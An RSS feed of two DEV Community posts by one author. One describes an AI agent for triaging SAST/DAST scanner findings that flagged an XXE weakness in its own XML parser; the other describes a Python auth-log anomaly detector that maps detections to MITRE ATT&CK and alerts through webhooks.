<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: greenbladesec</title>
    <description>The latest articles on DEV Community by greenbladesec (@greenbladesec).</description>
    <link>https://dev.to/greenbladesec</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4005942%2F642e1465-eed8-4fd1-947e-770e6fecd1b4.jpeg</url>
      <title>DEV Community: greenbladesec</title>
      <link>https://dev.to/greenbladesec</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/greenbladesec"/>
    <language>en</language>
    <item>
      <title>I Built an AI Security Agent That Found Vulnerabilities in Its Own Code (And Why That's the Point)</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Tue, 01 Sep 2026 20:36:17 +0000</pubDate>
      <link>https://dev.to/greenbladesec/i-built-an-ai-security-agent-that-found-vulnerabilities-in-its-own-code-and-why-thats-the-point-519h</link>
      <guid>https://dev.to/greenbladesec/i-built-an-ai-security-agent-that-found-vulnerabilities-in-its-own-code-and-why-thats-the-point-519h</guid>
      <description>&lt;h1&gt;
  
  
  I Built an AI Security Triage Tool That Found a Vulnerability in Itself
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Tools called:&lt;/strong&gt; &lt;code&gt;parse_bandit&lt;/code&gt;, &lt;code&gt;deduplicate_findings&lt;/code&gt;, &lt;code&gt;score_findings&lt;/code&gt;, &lt;code&gt;apply_suppressions&lt;/code&gt;, &lt;code&gt;generate_report&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Iterations:&lt;/strong&gt; 6&lt;br&gt;
&lt;strong&gt;Stop reason:&lt;/strong&gt; &lt;code&gt;done&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Triage Summary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;7 findings total&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🔴 &lt;strong&gt;Medium:&lt;/strong&gt; 4&lt;/li&gt;
&lt;li&gt;🟡 &lt;strong&gt;Low:&lt;/strong&gt; 3&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Notable Findings
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;parsers/zap.py:14&lt;/code&gt; — &lt;strong&gt;[MEDIUM] B314&lt;/strong&gt; — &lt;code&gt;xml.etree.ElementTree.parse&lt;/code&gt; on untrusted XML&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CWE-20:&lt;/strong&gt; Improper Input Validation&lt;/li&gt;
&lt;li&gt;Potential &lt;strong&gt;XXE&lt;/strong&gt; vulnerability&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;core/llm.py:90&lt;/code&gt; — &lt;strong&gt;[MEDIUM] B310&lt;/strong&gt; — &lt;code&gt;urllib.request.urlopen&lt;/code&gt; with an unvalidated scheme&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CWE-22:&lt;/strong&gt; Path Traversal risk&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;kev/rules.py:158&lt;/code&gt; — &lt;strong&gt;[LOW] B110&lt;/strong&gt; — Bare &lt;code&gt;except: pass&lt;/code&gt; silently swallowing errors&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  The Finding That Got Me
&lt;/h2&gt;

&lt;p&gt;The ZAP XML finding was the one that really got my attention.&lt;/p&gt;

&lt;p&gt;My security triage tool is designed to parse scanner output. One of the scanners it supports is ZAP, which produces XML reports.&lt;/p&gt;

&lt;p&gt;The parser was using Python's &lt;code&gt;xml.etree.ElementTree&lt;/code&gt; to process that XML.&lt;/p&gt;

&lt;p&gt;That parser can be unsafe when handling untrusted XML because of &lt;strong&gt;XXE (XML External Entity)&lt;/strong&gt; attacks.&lt;/p&gt;

&lt;p&gt;In other words, if someone managed to feed P1 a maliciously crafted ZAP report, the parser could potentially be abused to read arbitrary files.&lt;/p&gt;

&lt;p&gt;The interesting part wasn't just that the tool detected the issue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It found a real vulnerability in itself.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The agent:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Parsed the scanner findings&lt;/li&gt;
&lt;li&gt;Deduplicated them&lt;/li&gt;
&lt;li&gt;Scored them&lt;/li&gt;
&lt;li&gt;Applied suppressions&lt;/li&gt;
&lt;li&gt;Generated a structured JSON report&lt;/li&gt;
&lt;li&gt;Produced a prioritized remediation list&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That's the whole point.&lt;/p&gt;

&lt;p&gt;Build the tool to automate the boring first-pass work — and then let it tell you where the actual problems are.&lt;/p&gt;


&lt;h1&gt;
  
  
  This Isn't Replacing Anyone
&lt;/h1&gt;

&lt;p&gt;I want to be clear about what this is and isn't.&lt;/p&gt;

&lt;p&gt;This tool doesn't replace a security engineer.&lt;/p&gt;

&lt;p&gt;It doesn't replace DAST.&lt;br&gt;
It doesn't do threat modeling.&lt;br&gt;
It doesn't understand business context.&lt;/p&gt;

&lt;p&gt;What it &lt;em&gt;does&lt;/em&gt; is compress the boring part of the job — the mechanical first-pass triage — so a human can spend more time on the decisions that actually require judgment.&lt;/p&gt;

&lt;p&gt;And honestly, that's one of the biggest things I learned from building it.&lt;/p&gt;

&lt;p&gt;The automation isn't the hard part.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Understanding the security workflow is.&lt;/strong&gt;&lt;/p&gt;


&lt;h1&gt;
  
  
  Building It Forced Me to Understand the Entire Pipeline
&lt;/h1&gt;

&lt;p&gt;I had to understand how each scanner actually represents its findings.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Semgrep → JSON&lt;/li&gt;
&lt;li&gt;Bandit → JSON&lt;/li&gt;
&lt;li&gt;ZAP → XML&lt;/li&gt;
&lt;li&gt;Trivy → JSON&lt;/li&gt;
&lt;li&gt;Nuclei → JSONL&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They're all different.&lt;/p&gt;

&lt;p&gt;Then there was the question of deduplication.&lt;/p&gt;

&lt;p&gt;What's a good deduplication key when the same vulnerability can be reported by multiple scanners?&lt;/p&gt;

&lt;p&gt;It turns out &lt;code&gt;rule_id + file + line&lt;/code&gt; isn't necessarily good enough because rule IDs can diverge across tools.&lt;/p&gt;

&lt;p&gt;A better starting point is something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CWE + file + line
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then there's risk scoring.&lt;/p&gt;

&lt;p&gt;How do CWE-based heuristics translate into an actionable severity score?&lt;/p&gt;

&lt;p&gt;And where do those heuristics break down?&lt;/p&gt;

&lt;p&gt;Then suppressions.&lt;/p&gt;

&lt;p&gt;How should &lt;code&gt;suppressions.yaml&lt;/code&gt; work without becoming a mechanism for silently hiding real vulnerabilities?&lt;/p&gt;

&lt;p&gt;And finally, the LLM layer.&lt;/p&gt;

&lt;p&gt;What can an LLM reliably identify as a false positive?&lt;/p&gt;

&lt;p&gt;What shouldn't it be trusted to decide?&lt;/p&gt;

&lt;p&gt;These aren't problems you can completely shortcut by using someone else's enterprise triage platform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You have to understand the process to know what you're automating.&lt;/strong&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  Architecture
&lt;/h1&gt;

&lt;p&gt;For the technical readers, here's the current architecture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;agent-core (shared library)
├── Agent
│   └── iterative tool-calling loop
│       ├── max_iterations
│       └── policy enforcement
│
├── ToolRegistry
│   └── @tool decorator → schema → LLM tool spec
│
├── ExecutionPolicy
│   ├── READ_ONLY
│   ├── SAFE
│   ├── AUTO
│   └── HUMAN_CONFIRM
│
├── LLMProvider
│   ├── ClaudeProvider
│   └── OllamaProvider
│
└── AgentTracer
    └── JSONL per-call observability


p1-sast-dast-triage
├── agent/tools.py
│   └── 10 @tool functions + session store
│
├── agent/triage_agent.py
│   └── TriageAgent
│       └── wraps agent-core.Agent
│
└── main.py
    └── existing CLI
        ├── --agentic
        └── --provider
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Design Decisions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. &lt;code&gt;ExecutionPolicy.SAFE&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The LLM can call read-only analysis tools and write reports.&lt;/p&gt;

&lt;p&gt;It &lt;strong&gt;cannot execute arbitrary shell commands&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That's an important boundary for an agent operating on security findings.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Session Store
&lt;/h3&gt;

&lt;p&gt;Findings live in memory and are keyed by &lt;code&gt;session_id&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The tools return summaries rather than dumping the entire underlying dataset into every model interaction.&lt;/p&gt;

&lt;p&gt;This keeps the agent context smaller and makes the tool interface more predictable.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Backward Compatible
&lt;/h3&gt;

&lt;p&gt;The existing &lt;code&gt;main.py&lt;/code&gt; pipeline remains untouched.&lt;/p&gt;

&lt;p&gt;The agentic functionality is additive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;--agentic&lt;/span&gt;
&lt;span class="nt"&gt;--provider&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can use the existing deterministic pipeline or opt into the agentic workflow.&lt;/p&gt;




&lt;h1&gt;
  
  
  What's Next?
&lt;/h1&gt;

&lt;p&gt;P1 is part of a &lt;strong&gt;5-project security tooling series&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;P1 — SAST/DAST Triage&lt;/strong&gt; → this project&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P2 — Threat Model Generator&lt;/strong&gt; → done&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P3 — AI Log Anomaly Detector&lt;/strong&gt; → done&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P4 — AI Pentest Report Assistant&lt;/strong&gt; → done&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;P5 — Autonomous HTB Pipeline&lt;/strong&gt; → in progress&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each project reuses &lt;code&gt;agent-core&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The bigger goal is to build an &lt;strong&gt;agentic security research toolkit where tools compose&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of building five completely independent AI security tools, the idea is to build reusable agent infrastructure and then compose specialized security workflows on top of it.&lt;/p&gt;




&lt;h1&gt;
  
  
  What I Learned
&lt;/h1&gt;

&lt;p&gt;The most interesting result wasn't the number of findings.&lt;/p&gt;

&lt;p&gt;It was the feedback loop.&lt;/p&gt;

&lt;p&gt;I built a tool to help find vulnerabilities.&lt;/p&gt;

&lt;p&gt;The tool found a vulnerability in the tool.&lt;/p&gt;

&lt;p&gt;That forced me to look at the implementation from the perspective of an attacker rather than just the perspective of the person building the automation.&lt;/p&gt;

&lt;p&gt;And that's probably the most useful property an automated security tool can have:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;It should make you better at seeing the things you might otherwise miss.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h1&gt;
  
  
  Code
&lt;/h1&gt;

&lt;p&gt;The projects are open source:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/PyHackSecGP/p1-sast-dast-triage" rel="noopener noreferrer"&gt;&lt;code&gt;p1-sast-dast-triage&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/PyHackSecGP/agent-core" rel="noopener noreferrer"&gt;&lt;code&gt;agent-core&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're building agentic security tooling, I'd be interested in hearing how you're handling &lt;strong&gt;tool permissions, false-positive filtering, deduplication, and human-in-the-loop decisions&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>python</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Building an AI-Powered Auth Log Anomaly Detector with MITRE ATT&amp;CK</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Mon, 31 Aug 2026 15:56:20 +0000</pubDate>
      <link>https://dev.to/greenbladesec/building-an-ai-powered-auth-log-anomaly-detector-with-mitre-attck-4ai2</link>
      <guid>https://dev.to/greenbladesec/building-an-ai-powered-auth-log-anomaly-detector-with-mitre-attck-4ai2</guid>
      <description>&lt;h2&gt;
  
  
  Why Auth Logs Matter
&lt;/h2&gt;

&lt;p&gt;Auth logs are underrated.&lt;/p&gt;

&lt;p&gt;Every brute-force attempt, privilege escalation, suspicious &lt;code&gt;sudo&lt;/code&gt; usage, and unexpected SSH login leaves a trace in &lt;code&gt;/var/log/auth.log&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The problem is &lt;strong&gt;volume and signal-to-noise&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A busy server can generate thousands of authentication log lines every day. Most are legitimate logins, &lt;code&gt;sudo&lt;/code&gt; usage, SSH keepalives, automated jobs, and monitoring activity.&lt;/p&gt;

&lt;p&gt;The attack patterns are there, but they look like noise without context.&lt;/p&gt;

&lt;p&gt;I wanted a tool that could read auth logs like a security analyst — detecting patterns, adding context, and helping identify attacker behavior.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;P3&lt;/strong&gt; — a Python tool that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Parses Linux authentication logs&lt;/li&gt;
&lt;li&gt;Applies rule-based detections&lt;/li&gt;
&lt;li&gt;Maps findings to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Enriches source IPs with reputation data&lt;/li&gt;
&lt;li&gt;Uses a local LLM for threat assessment&lt;/li&gt;
&lt;li&gt;Alerts through Slack or Discord&lt;/li&gt;
&lt;li&gt;Supports continuous watch mode&lt;/li&gt;
&lt;li&gt;Provides machine-readable exit codes and JSON output&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And the best part:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zero third-party Python dependencies. Standard library only.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Detection Rules
&lt;/h2&gt;

&lt;h3&gt;
  
  
  SSH Brute Force — T1110
&lt;/h3&gt;

&lt;p&gt;The first detection uses a sliding window:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;≥5 failed SSH authentication attempts from one IP within 10 minutes.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;window&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_ssh_failures&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cutoff&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;severity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CRITICAL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HIGH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MEDIUM&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Severity scales with the number of failures.&lt;/p&gt;

&lt;p&gt;Five failures might be a user repeatedly entering the wrong password.&lt;/p&gt;

&lt;p&gt;Fifty failures in ten minutes is a very different situation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Distributed Brute Force — T1110
&lt;/h2&gt;

&lt;p&gt;Single-IP detection misses distributed attacks.&lt;/p&gt;

&lt;p&gt;A botnet can make only two or three authentication attempts from each IP — never enough to trigger a per-IP threshold.&lt;/p&gt;

&lt;p&gt;So P3 also looks at the aggregate pattern:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;≥10 unique source IPs with ≥20 combined failures.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This matters because the mitigation can be different.&lt;/p&gt;

&lt;p&gt;A single noisy IP might justify an IP block.&lt;/p&gt;

&lt;p&gt;A distributed attack may require broader controls such as rate limiting, geo-blocking, MFA enforcement, or investigation of the targeted accounts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Credential Stuffing — T1110
&lt;/h2&gt;

&lt;p&gt;This is one of the most important detections.&lt;/p&gt;

&lt;p&gt;If an IP has authentication failures and then successfully authenticates, that pattern deserves immediate attention.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_ssh_failures&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_ssh_successes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Failure followed by success
&lt;/span&gt;    &lt;span class="c1"&gt;# Investigate as potential credential compromise
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;P3 treats this as a &lt;strong&gt;CRITICAL&lt;/strong&gt; finding.&lt;/p&gt;

&lt;p&gt;The reasoning is simple: repeated failures followed by a successful login can indicate that the attacker eventually obtained or guessed valid credentials.&lt;/p&gt;

&lt;p&gt;The detection itself is strong, but in a production environment I'd still recommend correlating it with account identity, source history, MFA events, and other telemetry before declaring compromise.&lt;/p&gt;




&lt;h2&gt;
  
  
  Privilege Escalation — T1548
&lt;/h2&gt;

&lt;p&gt;P3 monitors failed &lt;code&gt;sudo&lt;/code&gt; authentication attempts per user.&lt;/p&gt;

&lt;p&gt;It also looks for suspicious &lt;code&gt;su&lt;/code&gt; activity.&lt;/p&gt;

&lt;p&gt;For example, unexpected attempts to switch to &lt;code&gt;root&lt;/code&gt; from an unusual account can indicate privilege escalation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Account Creation — T1136
&lt;/h2&gt;

&lt;p&gt;Account creation events such as &lt;code&gt;useradd&lt;/code&gt; are flagged.&lt;/p&gt;

&lt;p&gt;An attacker who already has shell access may create a new account to establish persistence.&lt;/p&gt;

&lt;p&gt;These findings are therefore treated as &lt;strong&gt;HIGH&lt;/strong&gt; severity by default.&lt;/p&gt;




&lt;h2&gt;
  
  
  Root Login — T1078
&lt;/h2&gt;

&lt;p&gt;Direct SSH authentication as &lt;code&gt;root&lt;/code&gt; is flagged as &lt;strong&gt;CRITICAL&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;On a properly hardened Linux server, direct root SSH access is normally disabled.&lt;/p&gt;

&lt;p&gt;If you suddenly see successful root authentication, that's worth investigating immediately.&lt;/p&gt;




&lt;h1&gt;
  
  
  MITRE ATT&amp;amp;CK Mapping
&lt;/h1&gt;

&lt;p&gt;Every finding includes a technique ID and technique name.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[BF-001] CRITICAL — SSH Brute Force

MITRE: T1110 (Brute Force)
Confidence: 87%
Source IP: 185.234.218.x
AbuseIPDB: 97% abuse score
Country: CN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is useful during incident response.&lt;/p&gt;

&lt;p&gt;A finding that says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Many failed logins detected."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;isn't particularly actionable.&lt;/p&gt;

&lt;p&gt;A finding mapped to &lt;strong&gt;T1110 — Brute Force&lt;/strong&gt; gives the analyst a known attack technique to investigate, along with documented detection guidance, mitigations, and related procedures.&lt;/p&gt;

&lt;p&gt;The goal is to turn raw log activity into something that can feed an incident-response workflow.&lt;/p&gt;




&lt;h1&gt;
  
  
  Local AI Analysis
&lt;/h1&gt;

&lt;p&gt;The AI component runs against a &lt;strong&gt;local Ollama instance&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of sending authentication logs to a cloud API, P3 builds a summary containing the detected findings and representative log lines.&lt;/p&gt;

&lt;p&gt;The local model returns:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Overall threat assessment — CRITICAL/HIGH/MEDIUM/LOW&lt;/li&gt;
&lt;li&gt;Key findings&lt;/li&gt;
&lt;li&gt;Attack pattern analysis&lt;/li&gt;
&lt;li&gt;Immediate recommendations&lt;/li&gt;
&lt;li&gt;IOCs — IPs, usernames, and patterns worth blocking or investigating&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No cloud service.&lt;/p&gt;

&lt;p&gt;No API keys.&lt;/p&gt;

&lt;p&gt;No authentication data leaving the machine.&lt;/p&gt;

&lt;p&gt;That's important because authentication logs can contain usernames, source IPs, hostnames, and other sensitive operational information.&lt;/p&gt;




&lt;h1&gt;
  
  
  Watch Mode + Alerting
&lt;/h1&gt;

&lt;p&gt;P3 can run continuously as a systemd service.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 main.py /var/log/auth.log &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--watch&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--interval&lt;/span&gt; 60 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--webhook&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SLACK_WEBHOOK&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--allowlist&lt;/span&gt; allowlist.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every 60 seconds it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Parses the log&lt;/li&gt;
&lt;li&gt;Detects anomalies&lt;/li&gt;
&lt;li&gt;Compares them with previously seen findings&lt;/li&gt;
&lt;li&gt;Alerts only on new HIGH or CRITICAL events&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This prevents a brute-force campaign that runs for several hours from generating the same alert every minute.&lt;/p&gt;

&lt;p&gt;Slack and Discord webhooks are supported.&lt;/p&gt;




&lt;h1&gt;
  
  
  Alert Context
&lt;/h1&gt;

&lt;p&gt;A useful alert should contain enough information to act without opening the raw log immediately.&lt;/p&gt;

&lt;p&gt;P3 includes context such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detection rule&lt;/li&gt;
&lt;li&gt;MITRE ATT&amp;amp;CK technique&lt;/li&gt;
&lt;li&gt;Severity&lt;/li&gt;
&lt;li&gt;Confidence score&lt;/li&gt;
&lt;li&gt;Source IP&lt;/li&gt;
&lt;li&gt;Username&lt;/li&gt;
&lt;li&gt;IP reputation&lt;/li&gt;
&lt;li&gt;Number of attempts&lt;/li&gt;
&lt;li&gt;AI-generated summary&lt;/li&gt;
&lt;li&gt;Recommended next steps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The objective is simple:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don't just tell me that something happened. Tell me why it matters.&lt;/strong&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  Exit Codes as an API
&lt;/h1&gt;

&lt;p&gt;P3 also exposes simple exit codes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 — No anomalies / only low severity
1 — HIGH severity finding
2 — CRITICAL severity finding
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That makes it easy to integrate with other automation.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 main.py /var/log/auth.log &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--no-ai&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--json&lt;/span&gt; /tmp/daily.json

&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt; &lt;span class="nt"&gt;-ge&lt;/span&gt; 2 &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; page_oncall
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No SIEM required.&lt;/p&gt;

&lt;p&gt;You can wire it into cron jobs, monitoring systems, incident-response scripts, or other automation.&lt;/p&gt;




&lt;h1&gt;
  
  
  IP Reputation Enrichment
&lt;/h1&gt;

&lt;p&gt;P3 optionally integrates with &lt;strong&gt;AbuseIPDB&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For each source IP, it can retrieve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Abuse confidence score&lt;/li&gt;
&lt;li&gt;Country code&lt;/li&gt;
&lt;li&gt;Number of reports in the last 90 days&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Context matters.&lt;/p&gt;

&lt;p&gt;A brute-force attack from an IP with a &lt;strong&gt;97% abuse confidence score and thousands of reports&lt;/strong&gt; is more suspicious than the same number of failures from an IP with no reputation history.&lt;/p&gt;

&lt;p&gt;Both events should be detected.&lt;/p&gt;

&lt;p&gt;The reputation data simply helps determine &lt;strong&gt;how urgently to escalate them&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  Allowlisting
&lt;/h1&gt;

&lt;p&gt;Internal infrastructure can generate authentication events that look suspicious.&lt;/p&gt;

&lt;p&gt;Jump boxes, monitoring agents, automation systems, and backup servers are common examples.&lt;/p&gt;

